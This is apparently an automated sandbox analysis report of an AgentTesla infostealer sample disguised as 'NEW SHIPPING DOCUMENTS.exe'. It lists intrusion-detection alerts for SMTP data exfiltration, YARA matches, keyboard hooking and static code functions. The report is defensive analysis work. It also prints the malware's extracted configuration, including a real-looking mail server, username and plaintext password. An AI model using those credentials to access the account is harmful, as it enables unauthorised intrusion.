2025-01-15T08:43:59.224570+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50021	212.44.102.65	587	TCP
2025-01-15T08:44:02.312599+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50022	212.44.102.65	587	TCP
2025-01-15T08:44:06.002352+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50023	212.44.102.65	587	TCP
2025-01-15T08:44:16.415811+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50025	212.44.102.65	587	TCP
2025-01-15T08:44:16.554803+0100	2840032	1	A Network Trojan was detected	192.168.2.6	50026	212.44.102.65	587	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.stilbo.eu", "Username": "bogdan.hafner@stilbo.eu", "Password": "StilBO_#1"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe

ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: NEW SHIPPING DOCUMENTS.exe	Virustotal: Detection: 44%			Perma Link
Source: NEW SHIPPING DOCUMENTS.exe	ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: NEW SHIPPING DOCUMENTS.exe

Joe Sandbox ML: detected

Source: NEW SHIPPING DOCUMENTS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49717 version: TLS 1.2

Source: NEW SHIPPING DOCUMENTS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: AnYI.pdb source: NEW SHIPPING DOCUMENTS.exe, RvUJzKx.exe.0.dr
Source:	Binary string: AnYI.pdbSHA256 source: NEW SHIPPING DOCUMENTS.exe, RvUJzKx.exe.0.dr

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

Code function: 4x nop then jmp 074131F1h

0_2_07412646

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50001 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50001 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:49994 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:49996 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:49996 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:49994 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:49997 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:49997 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:49999 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:49999 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50002 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50002 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50004 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50004 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50009 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50009 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50011 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50011 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50018 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50017 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50017 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50010 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50018 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50010 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50006 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50006 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50016 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50021 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50021 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50015 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50015 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50016 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50019 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50019 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50022 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50022 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50026 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50026 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50023 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50023 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50005 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50005 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50014 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50014 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50013 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50013 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50003 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50003 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:50025 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.6:50025 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:49724 -> 212.44.102.65:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:49714 -> 212.44.102.65:587

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.4813808.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NEW SHIPPING DOCUMENTS.exe.47947e8.3.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.6:49714 -> 212.44.102.65:587

Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: DHH-ASSI DHH-ASSI

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.6:49714 -> 212.44.102.65:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: mail.stilbo.eu

Source: RvUJzKx.exe, 0000000E.00000002.4601362527.0000000006842000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.0000000003329000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.00000000036D4000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.00000000035A7000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.0000000003367000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.000000000347D000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.0000000003641000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.00000000033E5000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.0000000003514000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.000000000302B000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.0000000003079000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.00000000033FA000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.000000000343B000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.000000000323C000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.0000000003112000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.0000000003366000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.000000000350C000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.00000000031A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.stilbo.eu
Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2139661993.0000000002F63000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.0000000003221000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000A.00000002.2189774630.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: NEW SHIPPING DOCUMENTS.exe, RvUJzKx.exe.0.dr	String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4582718392.0000000000436000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp, NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4586675330.0000000003221000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4586702521.0000000002FE1000.00000004.00000800.00020000.00000000.sdmp, RvUJzKx.exe, 0000000E.00000002.4582752473.000000000042E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.6:49717 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\RvUJzKx.exe

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.NEW SHIPPING DOCUMENTS.exe.4813808.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.NEW SHIPPING DOCUMENTS.exe.47947e8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: NEW SHIPPING DOCUMENTS.exe

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_05194204	0_2_05194204
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0519E704	0_2_0519E704
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_05197088	0_2_05197088
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0706D248	0_2_0706D248
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0706DD78	0_2_0706DD78
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0706D238	0_2_0706D238
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_070600B9	0_2_070600B9
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0706ED20	0_2_0706ED20
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0706ED30	0_2_0706ED30
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0706DCD8	0_2_0706DCD8
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0706E8D8	0_2_0706E8D8
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0706E8E8	0_2_0706E8E8
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_070935E8	0_2_070935E8
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07095210	0_2_07095210
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07090040	0_2_07090040
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07093A28	0_2_07093A28
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07095AC0	0_2_07095AC0
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0709F710	0_2_0709F710
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0709F720	0_2_0709F720
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0709D530	0_2_0709D530
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07094580	0_2_07094580
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07094590	0_2_07094590
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_070935D8	0_2_070935D8
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_070933EA	0_2_070933EA
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_070933F0	0_2_070933F0
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07095201	0_2_07095201
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0709F200	0_2_0709F200
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0709F210	0_2_0709F210
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07094138	0_2_07094138
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07094148	0_2_07094148
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07093168	0_2_07093168
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07093178	0_2_07093178
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07090007	0_2_07090007
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07096099	0_2_07096099
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_070960A8	0_2_070960A8
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0709D0E0	0_2_0709D0E0
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07092F48	0_2_07092F48
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07092F58	0_2_07092F58
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07091D08	0_2_07091D08
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07091D18	0_2_07091D18
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07093C60	0_2_07093C60
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07093C70	0_2_07093C70
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07093A19	0_2_07093A19
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07094A41	0_2_07094A41
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07094A50	0_2_07094A50
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_07095AB0	0_2_07095AB0
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_0709D968	0_2_0709D968
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_070928C8	0_2_070928C8
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_070928C7	0_2_070928C7
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 0_2_074151B0	0_2_074151B0
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_015241C8	9_2_015241C8
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_0152E809	9_2_0152E809
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_01524A98	9_2_01524A98
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_01523E80	9_2_01523E80
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_06DEB23F	9_2_06DEB23F
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_06DE3080	9_2_06DE3080
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_06DE55C0	9_2_06DE55C0
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_06DEC198	9_2_06DEC198
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_06DE7D90	9_2_06DE7D90
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_06DE76B0	9_2_06DE76B0
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_06DEE3B8	9_2_06DEE3B8
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_06DE2378	9_2_06DE2378
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_06DE5CEF	9_2_06DE5CEF
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_06DE0040	9_2_06DE0040
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Code function: 9_2_06DE0007	9_2_06DE0007
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_00BA4204	10_2_00BA4204
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_00BAE704	10_2_00BAE704
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_00BA7088	10_2_00BA7088
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0554D248	10_2_0554D248
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0554DD78	10_2_0554DD78
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0554D238	10_2_0554D238
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0554ED30	10_2_0554ED30
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0554ED20	10_2_0554ED20
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0554DCD8	10_2_0554DCD8
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0554E8D8	10_2_0554E8D8
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0554E8E8	10_2_0554E8E8
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08485AB0	10_2_08485AB0
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08483B98	10_2_08483B98
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08480040	10_2_08480040
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08485201	10_2_08485201
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08483768	10_2_08483768
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0848D968	10_2_0848D968
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08482A48	10_2_08482A48
